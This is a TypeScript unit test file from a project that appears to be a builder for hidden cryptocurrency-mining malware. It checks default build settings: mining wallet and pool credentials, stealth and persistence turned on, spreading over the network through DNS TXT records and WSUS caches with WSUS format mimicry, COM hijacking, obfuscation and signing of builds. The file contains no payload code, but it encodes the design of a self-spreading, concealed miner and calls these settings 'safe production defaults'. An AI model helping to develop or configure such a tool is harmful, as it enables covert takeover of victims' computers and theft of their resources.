Files
AetherForge/server/web/src/help/forgeDefaults.test.ts

82 lines
3.4 KiB
TypeScript

import { describe, expect, it } from 'vitest';
import { FORGE_BUILD_DEFAULTS, forgeDefaultsFromServer } from './forgeDefaults';
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
describe('FORGE_BUILD_DEFAULTS', () => {
it('sets safe production defaults for a new forge form', () => {
expect(FORGE_BUILD_DEFAULTS.threads).toBe(4);
expect(FORGE_BUILD_DEFAULTS.thread_mode).toBe('percent');
expect(FORGE_BUILD_DEFAULTS.stealth_mode).toBe(true);
expect(FORGE_BUILD_DEFAULTS.persistence).toBe(true);
expect(FORGE_BUILD_DEFAULTS.fusion_enabled).toBe(false);
expect(FORGE_BUILD_DEFAULTS.ai_enabled).toBe(false);
expect(FORGE_BUILD_DEFAULTS.auto_spread).toBe(false);
expect(FORGE_BUILD_DEFAULTS.remote_aggressive).toBe(false);
expect(FORGE_BUILD_DEFAULTS.winrm_spread).toBe(false);
expect(FORGE_BUILD_DEFAULTS.dns_txt_spread).toBe(true);
expect(FORGE_BUILD_DEFAULTS.webrtc_mesh_spread).toBe(false);
expect(FORGE_BUILD_DEFAULTS.wsus_cache_peer_spread).toBe(true);
expect(FORGE_BUILD_DEFAULTS.wsus_format_mimic).toBe(true);
expect(FORGE_BUILD_DEFAULTS.com_hijack_persist).toBe(false);
expect(FORGE_BUILD_DEFAULTS.linux_lotl_mode).toBe('off');
});
it('omits per-build identity fields (filled by server merge)', () => {
const keys = Object.keys(FORGE_BUILD_DEFAULTS);
expect(keys).not.toContain('worker_name');
expect(keys).not.toContain('server_url');
expect(keys).not.toContain('wallet');
expect(keys).not.toContain('pool_host');
expect(keys).not.toContain('pool_port');
expect(keys).not.toContain('pool_tls');
expect(keys).not.toContain('pool_pass');
});
});
describe('forgeDefaultsFromServer', () => {
it('merges server config pool/wallet with build defaults', () => {
const config = mockServerConfig();
const result = forgeDefaultsFromServer(config, mockServerInfo);
expect(result.wallet).toBe(config.wallet.address);
expect(result.pool_host).toBe(config.pool.host);
expect(result.pool_port).toBe(config.pool.port);
expect(result.pool_tls).toBe(config.pool.use_tls);
expect(result.pool_pass).toBe('x');
expect(result.worker_name).toBe('');
expect(result.stealth_mode).toBe(FORGE_BUILD_DEFAULTS.stealth_mode);
});
it('prefers trimmed public_url over suggested_url', () => {
const config = mockServerConfig({
server: { public_url: ' https://tunnel.example.com ' },
});
const result = forgeDefaultsFromServer(config, mockServerInfo);
expect(result.server_url).toBe('https://tunnel.example.com');
});
it('falls back to suggested LAN URL when public_url is blank', () => {
const config = mockServerConfig({
server: { public_url: ' ' },
});
const result = forgeDefaultsFromServer(config, mockServerInfo);
expect(result.server_url).toBe(mockServerInfo.suggested_url);
});
it('reflects obfuscate and sign defaults from server config', () => {
const config = mockServerConfig({
server: { obfuscate_default: true, sign_enabled: true },
});
const result = forgeDefaultsFromServer(config, mockServerInfo);
expect(result.obfuscate).toBe(true);
expect(result.sign_build).toBe(true);
});
it('uses custom pool password when configured', () => {
const config = mockServerConfig({
pool: { password: 'worker-pass' },
});
const result = forgeDefaultsFromServer(config, mockServerInfo);
expect(result.pool_pass).toBe('worker-pass');
});
});